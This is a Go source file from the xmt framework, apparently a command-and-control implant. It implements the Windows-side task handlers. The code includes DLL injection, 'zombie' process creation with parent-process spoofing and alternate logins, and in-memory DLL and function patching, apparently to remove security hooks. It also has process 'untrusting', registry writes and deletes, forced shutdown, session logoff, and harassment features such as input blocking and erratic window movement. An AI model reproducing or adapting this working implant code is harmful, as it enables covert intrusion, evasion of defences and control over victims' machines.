github.com/iDigitalFlame/xmt@v0.5.4/c2/task/y_windows.go (about)

     1  //go:build windows
     2  // +build windows
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package task
    21  
    22  import (
    23  	"bytes"
    24  	"context"
    25  	"os"
    26  	"time"
    27  
    28  	"github.com/iDigitalFlame/xmt/cmd"
    29  	"github.com/iDigitalFlame/xmt/cmd/filter"
    30  	"github.com/iDigitalFlame/xmt/data"
    31  	"github.com/iDigitalFlame/xmt/device/regedit"
    32  	"github.com/iDigitalFlame/xmt/device/winapi"
    33  	"github.com/iDigitalFlame/xmt/device/winapi/registry"
    34  	"github.com/iDigitalFlame/xmt/util"
    35  	"github.com/iDigitalFlame/xmt/util/xerr"
    36  )
    37  
    38  func randMod(v int32) int32 {
    39  	n := int32(util.FastRandN(256))
    40  	if util.FastRandN(2) == 0 {
    41  		return n + v
    42  	}
    43  	return v - n
    44  }
    45  func taskTroll(x context.Context, r data.Reader, _ data.Writer) error {
    46  	t, err := r.Uint8()
    47  	if err != nil {
    48  		return err
    49  	}
    50  	switch t {
    51  	case taskTrollHcEnable, taskTrollHcDisable:
    52  		return winapi.SetHighContrast(t == taskTrollHcEnable)
    53  	case taskTrollSwapEnable, taskTrollSwapDisable:
    54  		return winapi.SwapMouseButtons(t == taskTrollSwapEnable)
    55  	case taskTrollBlockInputEnable, taskTrollBlockInputDisable:
    56  		return winapi.BlockInput(t == taskTrollBlockInputEnable)
    57  	case taskTrollWallpaperPath:
    58  		s, err := r.StringVal()
    59  		if err != nil {
    60  			return err
    61  		}
    62  		return winapi.SetWallpaper(s)
    63  	case taskTrollWallpaper:
    64  		return taskTrollSetWallpaper(r)
    65  	case taskTrollWTF:
    66  		d, err := r.Int64()
    67  		if err != nil {
    68  			return err
    69  		}
    70  		if d <= 0 {
    71  			return nil
    72  		}
    73  		var (
    74  			z = time.NewTimer(time.Duration(d))
    75  			v = time.NewTicker(time.Millisecond * time.Duration(250+util.FastRandN(250)))
    76  		)
    77  	loop:
    78  		for {
    79  			select {
    80  			case <-v.C:
    81  				e, err := winapi.TopLevelWindows()
    82  				if err != nil {
    83  					break
    84  				}
    85  				switch h := e[util.FastRandN(len(e))]; util.FastRandN(3) {
    86  				case 0:
    87  					winapi.ShowWindow(h.Handle, uint8(1+util.FastRandN(12)))
    88  				case 1:
    89  					winapi.SetWindowTransparency(h.Handle, uint8(util.FastRandN(256)))
    90  				case 2:
    91  					winapi.SetWindowPos(h.Handle, randMod(h.X), randMod(h.Y), randMod(h.Width), randMod(h.Height))
    92  				}
    93  			case <-z.C:
    94  				break loop
    95  			case <-x.Done():
    96  				break loop
    97  			}
    98  		}
    99  		v.Stop()
   100  		z.Stop()
   101  		return winapi.SetWindowTransparency(0, 255)
   102  	}
   103  	return xerr.Sub("invalid operation", 0x68)
   104  }
   105  func taskCheck(_ context.Context, r data.Reader, w data.Writer) error {
   106  	var (
   107  		a    uint32
   108  		b    []byte
   109  		v    bool
   110  		err  error
   111  		n, f string
   112  	)
   113  	// NOTE(dij): Do these escape?
   114  	//            Sometimes the compiler thinks so.
   115  	if err = r.ReadString(&n); err != nil {
   116  		return err
   117  	}
   118  	if err = r.ReadString(&f); err != nil {
   119  		return err
   120  	}
   121  	if err = r.ReadUint32(&a); err != nil {
   122  		return nil
   123  	}
   124  	if err = r.ReadBytes(&b); err != nil {
   125  		return err
   126  	}
   127  	switch {
   128  	case len(f) > 0:
   129  		if a == 1 && len(b) == 0 {
   130  			if b, err = winapi.ExtractDLLFunction(n, f, 16); err != nil {
   131  				return err
   132  			}
   133  		}
   134  		v, err = winapi.CheckFunction(n, f, b)
   135  	case len(b) > 0:
   136  		v, err = winapi.CheckDLL(n, a, b)
   137  	default:
   138  		v, err = winapi.CheckDLLFile(n)
   139  	}
   140  	if err != nil {
   141  		return err
   142  	}
   143  	w.WriteBool(v)
   144  	return nil
   145  }
   146  func taskPatch(_ context.Context, r data.Reader, w data.Writer) error {
   147  	var (
   148  		a    uint32
   149  		b    []byte
   150  		n, f string
   151  	)
   152  	// NOTE(dij): Do these escape?
   153  	//            Sometimes the compiler thinks so.
   154  	if err := r.ReadString(&n); err != nil {
   155  		return err
   156  	}
   157  	if err := r.ReadString(&f); err != nil {
   158  		return err
   159  	}
   160  	if err := r.ReadUint32(&a); err != nil {
   161  		return nil
   162  	}
   163  	if err := r.ReadBytes(&b); err != nil {
   164  		return err
   165  	}
   166  	if len(f) == 0 {
   167  		if len(b) == 0 {
   168  			return winapi.PatchDLLFile(n)
   169  		}
   170  		return winapi.PatchDLL(n, a, b)
   171  	}
   172  	if len(b) == 0 {
   173  		var err error
   174  		if b, err = winapi.ExtractDLLFunction(n, f, 16); err != nil {
   175  			return err
   176  		}
   177  	}
   178  	return winapi.PatchFunction(n, f, b)
   179  }
   180  func taskInject(x context.Context, r data.Reader, w data.Writer) error {
   181  	d, z, v, err := DLLUnmarshal(x, r)
   182  	if err != nil {
   183  		return err
   184  	}
   185  	if err = d.Start(); err != nil {
   186  		if v {
   187  			os.Remove(d.Path)
   188  		}
   189  		return err
   190  	}
   191  	h, _ := d.Handle()
   192  	if w.WriteUint64(uint64(h)); !z {
   193  		if w.WriteUint64(uint64(d.Pid()) << 32); v {
   194  			go waitThenDelete(d, d.Path)
   195  		} else {
   196  			d.Release()
   197  		}
   198  		return nil
   199  	}
   200  	w.WriteUint32(d.Pid())
   201  	if err = d.Wait(); v {
   202  		os.Remove(d.Path)
   203  	}
   204  	if _, ok := err.(*cmd.ExitError); err != nil && !ok {
   205  		return err
   206  	}
   207  	c, _ := d.ExitCode()
   208  	w.WriteInt32(c)
   209  	return nil
   210  }
   211  func taskZombie(x context.Context, r data.Reader, w data.Writer) error {
   212  	z, f, err := ZombieUnmarshal(x, r)
   213  	if err != nil {
   214  		return err
   215  	}
   216  	if f {
   217  		w.WriteUint64(0)
   218  		z.Stdout, z.Stderr = w, w
   219  	}
   220  	if err = z.Start(); err != nil {
   221  		z.Stdout, z.Stderr = nil, nil
   222  		return err
   223  	}
   224  	if z.Stdin = nil; !f {
   225  		w.WriteUint64(uint64(z.Pid()) << 32)
   226  		z.Release()
   227  		return nil
   228  	}
   229  	i := z.Pid()
   230  	err, z.Stdout, z.Stderr = z.Wait(), nil, nil
   231  	if _, ok := err.(*cmd.ExitError); err != nil && !ok {
   232  		return err
   233  	}
   234  	var (
   235  		c, _ = z.ExitCode()
   236  		s, _ = w.(backer)
   237  	)
   238  	if s == nil {
   239  		return nil
   240  	}
   241  	s.WriteUint32Pos(0, i)
   242  	s.WriteUint32Pos(4, uint32(c))
   243  	return nil
   244  }
   245  func taskUntrust(_ context.Context, r data.Reader, _ data.Writer) error {
   246  	var f filter.Filter
   247  	if err := f.UnmarshalStream(r); err != nil {
   248  		return err
   249  	}
   250  	if f.Empty() {
   251  		return filter.ErrNoProcessFound
   252  	}
   253  	p, err := f.SelectFunc(nil)
   254  	if err != nil {
   255  		return err
   256  	}
   257  	return winapi.Untrust(p)
   258  }
   259  func taskFuncMap(_ context.Context, r data.Reader, _ data.Writer) error {
   260  	v, err := r.Uint8()
   261  	if err != nil {
   262  		return err
   263  	}
   264  	if v == taskFuncMapUnmapAll {
   265  		return winapi.FuncUnmapAll()
   266  	}
   267  	h, err := r.Uint32()
   268  	if err != nil {
   269  		return err
   270  	}
   271  	switch v {
   272  	case taskFuncMapMap:
   273  		b, err := r.Bytes()
   274  		if err != nil {
   275  			return err
   276  		}
   277  		return winapi.FuncRemapHash(h, b)
   278  	case taskFuncMapUnmap:
   279  		return winapi.FuncUnmapHash(h)
   280  	}
   281  	return xerr.Sub("invalid operation", 0x68)
   282  }
   283  func taskRegistry(_ context.Context, r data.Reader, w data.Writer) error {
   284  	var (
   285  		o   uint8
   286  		k   string
   287  		err = r.ReadUint8(&o)
   288  	)
   289  	if err != nil {
   290  		return err
   291  	}
   292  	if err = r.ReadString(&k); err != nil {
   293  		return err
   294  	}
   295  	if o > regOpSetStringList {
   296  		return registry.ErrUnexpectedType
   297  	}
   298  	if len(k) == 0 {
   299  		return xerr.Sub("empty key name", 0x6C)
   300  	}
   301  	switch w.WriteUint8(o); o {
   302  	case regOpLs:
   303  		e, err1 := regedit.Dir(k)
   304  		if err1 != nil {
   305  			return err1
   306  		}
   307  		w.WriteUint32(uint32(len(e)))
   308  		for i := range e {
   309  			if err = e[i].MarshalStream(w); err != nil {
   310  				return err
   311  			}
   312  		}
   313  		return nil
   314  	case regOpMake:
   315  		return regedit.MakeKey(k)
   316  	case regOpDeleteKey:
   317  		f, err1 := r.Bool()
   318  		if err1 != nil {
   319  			return err1
   320  		}
   321  		return regedit.DeleteKey(k, f)
   322  	}
   323  	v, err := r.StringVal()
   324  	if err != nil {
   325  		return err
   326  	}
   327  	if len(v) == 0 {
   328  		return xerr.Sub("empty value name", 0x6D)
   329  	}
   330  	switch o {
   331  	case regOpGet:
   332  		x, err1 := regedit.Get(k, v)
   333  		if err1 != nil {
   334  			return err1
   335  		}
   336  		x.MarshalStream(w)
   337  		return nil
   338  	case regOpSet:
   339  		t, err1 := r.Uint32()
   340  		if err1 != nil {
   341  			return err1
   342  		}
   343  		b, err1 := r.Bytes()
   344  		if err1 != nil {
   345  			return err1
   346  		}
   347  		return regedit.Set(k, v, t, b)
   348  	case regOpDelete:
   349  		f, err1 := r.Bool()
   350  		if err1 != nil {
   351  			return err1
   352  		}
   353  		return regedit.DeleteEx(k, v, f)
   354  	case regOpSetDword:
   355  		d, err1 := r.Uint32()
   356  		if err1 != nil {
   357  			return err1
   358  		}
   359  		return regedit.SetDword(k, v, d)
   360  	case regOpSetQword:
   361  		d, err1 := r.Uint64()
   362  		if err1 != nil {
   363  			return err1
   364  		}
   365  		return regedit.SetQword(k, v, d)
   366  	case regOpSetBytes:
   367  		b, err1 := r.Bytes()
   368  		if err1 != nil {
   369  			return err1
   370  		}
   371  		return regedit.SetBytes(k, v, b)
   372  	case regOpSetString:
   373  		s, err1 := r.StringVal()
   374  		if err1 != nil {
   375  			return err1
   376  		}
   377  		return regedit.SetString(k, v, s)
   378  	case regOpSetStringList:
   379  		var l []string
   380  		if err = data.ReadStringList(r, &l); err != nil {
   381  			return err
   382  		}
   383  		return regedit.SetStrings(k, v, l)
   384  	case regOpSetExpandString:
   385  		s, err1 := r.StringVal()
   386  		if err1 != nil {
   387  			return err1
   388  		}
   389  		return regedit.SetExpandString(k, v, s)
   390  	}
   391  	return registry.ErrUnexpectedType
   392  }
   393  func taskInteract(_ context.Context, r data.Reader, w data.Writer) error {
   394  	t, err := r.Uint8()
   395  	if err != nil {
   396  		return err
   397  	}
   398  	var h uint64
   399  	if err = r.ReadUint64(&h); err != nil {
   400  		return err
   401  	}
   402  	switch t {
   403  	case taskWindowTransparency:
   404  		var v uint8
   405  		if err = r.ReadUint8(&v); err != nil {
   406  			return err
   407  		}
   408  		// NOTE(dij): Do these escape?
   409  		//            Sometimes the compiler thinks so.
   410  		return winapi.SetWindowTransparency(uintptr(h), v)
   411  	case taskWindowEnable, taskWindowDisable:
   412  		_, err = winapi.EnableWindow(uintptr(h), t == taskWindowEnable)
   413  		return err
   414  	case taskWindowShow:
   415  		var v uint8
   416  		if err = r.ReadUint8(&v); err != nil {
   417  			return err
   418  		}
   419  		// NOTE(dij): Do these escape?
   420  		//            Sometimes the compiler thinks so.
   421  		_, err = winapi.ShowWindow(uintptr(h), v)
   422  		return err
   423  	case taskWindowClose:
   424  		return winapi.CloseWindow(uintptr(h))
   425  	case taskWindowMessage:
   426  		var (
   427  			t, d string
   428  			f    uint32
   429  		)
   430  		if err = r.ReadUint32(&f); err != nil {
   431  			return err
   432  		}
   433  		if err = r.ReadString(&t); err != nil {
   434  			return err
   435  		}
   436  		if err = r.ReadString(&d); err != nil {
   437  			return err
   438  		}
   439  		// NOTE(dij): Do these escape?
   440  		//            Sometimes the compiler thinks so.
   441  		o, err := winapi.MessageBox(uintptr(h), d, t, f)
   442  		if err != nil {
   443  			return err
   444  		}
   445  		w.WriteUint32(o)
   446  		return nil
   447  	case taskWindowMove:
   448  		var x, y, w, v int32
   449  		if err = r.ReadInt32(&x); err != nil {
   450  			return err
   451  		}
   452  		if err = r.ReadInt32(&y); err != nil {
   453  			return err
   454  		}
   455  		if err = r.ReadInt32(&w); err != nil {
   456  			return err
   457  		}
   458  		if err = r.ReadInt32(&v); err != nil {
   459  			return err
   460  		}
   461  		// NOTE(dij): Do these escape?
   462  		//            Sometimes the compiler thinks so.
   463  		return winapi.SetWindowPos(uintptr(h), x, y, w, v)
   464  	case taskWindowFocus:
   465  		return winapi.SetForegroundWindow(uintptr(h))
   466  	case taskWindowType:
   467  		var t string
   468  		if err = r.ReadString(&t); err != nil {
   469  			return err
   470  		}
   471  		return winapi.SendInput(uintptr(h), t)
   472  	}
   473  	return xerr.Sub("invalid operation", 0x68)
   474  }
   475  func taskShutdown(_ context.Context, r data.Reader, _ data.Writer) error {
   476  	m, err := r.StringVal()
   477  	if err != nil {
   478  		return err
   479  	}
   480  	t, err := r.Uint32()
   481  	if err != nil {
   482  		return err
   483  	}
   484  	c, err := r.Uint32()
   485  	if err != nil {
   486  		return err
   487  	}
   488  	v, err := r.Uint8()
   489  	if err != nil {
   490  		return err
   491  	}
   492  	winapi.EnablePrivileges("SeShutdownPrivilege")
   493  	return winapi.InitiateSystemShutdownEx("", m, t, v&2 != 0, v&1 != 0, c)
   494  }
   495  func taskLoginsAct(_ context.Context, r data.Reader, w data.Writer) error {
   496  	a, err := r.Uint8()
   497  	if err != nil {
   498  		return err
   499  	}
   500  	s, err := r.Int32()
   501  	if err != nil {
   502  		return err
   503  	}
   504  	switch a {
   505  	case taskLoginsDisconnect:
   506  		return winapi.WTSDisconnectSession(0, s, false)
   507  	case taskLoginsLogoff:
   508  		return winapi.WTSLogoffSession(0, s, false)
   509  	case taskLoginsMessage:
   510  		var (
   511  			t, d string
   512  			f, x uint32
   513  			v    bool
   514  		)
   515  		// NOTE(dij): Do these escape?
   516  		//            Sometimes the compiler thinks so.
   517  		if err = r.ReadUint32(&f); err != nil {
   518  			return err
   519  		}
   520  		if err = r.ReadUint32(&x); err != nil {
   521  			return err
   522  		}
   523  		if err = r.ReadBool(&v); err != nil {
   524  			return err
   525  		}
   526  		if err = r.ReadString(&t); err != nil {
   527  			return err
   528  		}
   529  		if err = r.ReadString(&d); err != nil {
   530  			return err
   531  		}
   532  		o, err := winapi.WTSSendMessage(0, s, t, d, f, x, v)
   533  		if err != nil {
   534  			return err
   535  		}
   536  		w.WriteUint32(o)
   537  		return nil
   538  	}
   539  	return xerr.Sub("invalid operation", 0x68)
   540  }
   541  func taskLoginsProc(_ context.Context, r data.Reader, w data.Writer) error {
   542  	s, err := r.Int32()
   543  	if err != nil {
   544  		return err
   545  	}
   546  	e, err := winapi.WTSEnumerateProcesses(0, s)
   547  	if err != nil {
   548  		return err
   549  	}
   550  	if err = w.WriteUint32(uint32(len(e))); err != nil {
   551  		return err
   552  	}
   553  	if len(e) == 0 {
   554  		return nil
   555  	}
   556  	for i, m := uint32(0), uint32(len(e)); i < m; i++ {
   557  		if err = e[i].MarshalStream(w); err != nil {
   558  			return err
   559  		}
   560  	}
   561  	return nil
   562  }
   563  func taskWindowList(_ context.Context, _ data.Reader, w data.Writer) error {
   564  	e, err := winapi.TopLevelWindows()
   565  	if err != nil {
   566  		return err
   567  	}
   568  	if err = w.WriteUint32(uint32(len(e))); err != nil {
   569  		return err
   570  	}
   571  	if len(e) == 0 {
   572  		return nil
   573  	}
   574  	for i, m := uint32(0), uint32(len(e)); i < m; i++ {
   575  		if err = e[i].MarshalStream(w); err != nil {
   576  			return err
   577  		}
   578  	}
   579  	return nil
   580  }
   581  func taskFuncMapList(_ context.Context, _ data.Reader, w data.Writer) error {
   582  	var (
   583  		e   = winapi.FuncRemapList()
   584  		err = w.WriteUint32(uint32(len(e)))
   585  	)
   586  	if err != nil {
   587  		return err
   588  	}
   589  	if len(e) == 0 {
   590  		return nil
   591  	}
   592  	for i, m := uint32(0), uint32(len(e)); i < m; i++ {
   593  		if err = e[i].MarshalStream(w); err != nil {
   594  			return err
   595  		}
   596  	}
   597  	return nil
   598  }
   599  
   600  // ZombieUnmarshal will read this Zombies's struct data from the supplied reader
   601  // and returns a Zombie runnable struct along with the wait status boolean.
   602  //
   603  // This function returns an error if building or reading fails or if the device
   604  // is not running Windows.
   605  func ZombieUnmarshal(x context.Context, r data.Reader) (*cmd.Zombie, bool, error) {
   606  	var z Zombie
   607  	if err := z.UnmarshalStream(r); err != nil {
   608  		return nil, false, err
   609  	}
   610  	if len(z.Args) == 0 || len(z.Data) == 0 {
   611  		return nil, false, cmd.ErrEmptyCommand
   612  	}
   613  	v := cmd.NewZombieContext(x, z.Data, z.Args...)
   614  	if v.SetFlags(z.Flags); z.Hide {
   615  		v.SetNoWindow(true)
   616  		v.SetWindowDisplay(0)
   617  	}
   618  	if v.SetParent(z.Filter); len(z.Stdin) > 0 {
   619  		v.Stdin = bytes.NewReader(z.Stdin)
   620  	}
   621  	if v.Timeout, v.Dir, v.Env = z.Timeout, z.Dir, z.Env; len(z.User) > 0 {
   622  		v.SetLogin(z.User, z.Domain, z.Pass)
   623  	}
   624  	return v, z.Wait, nil
   625  }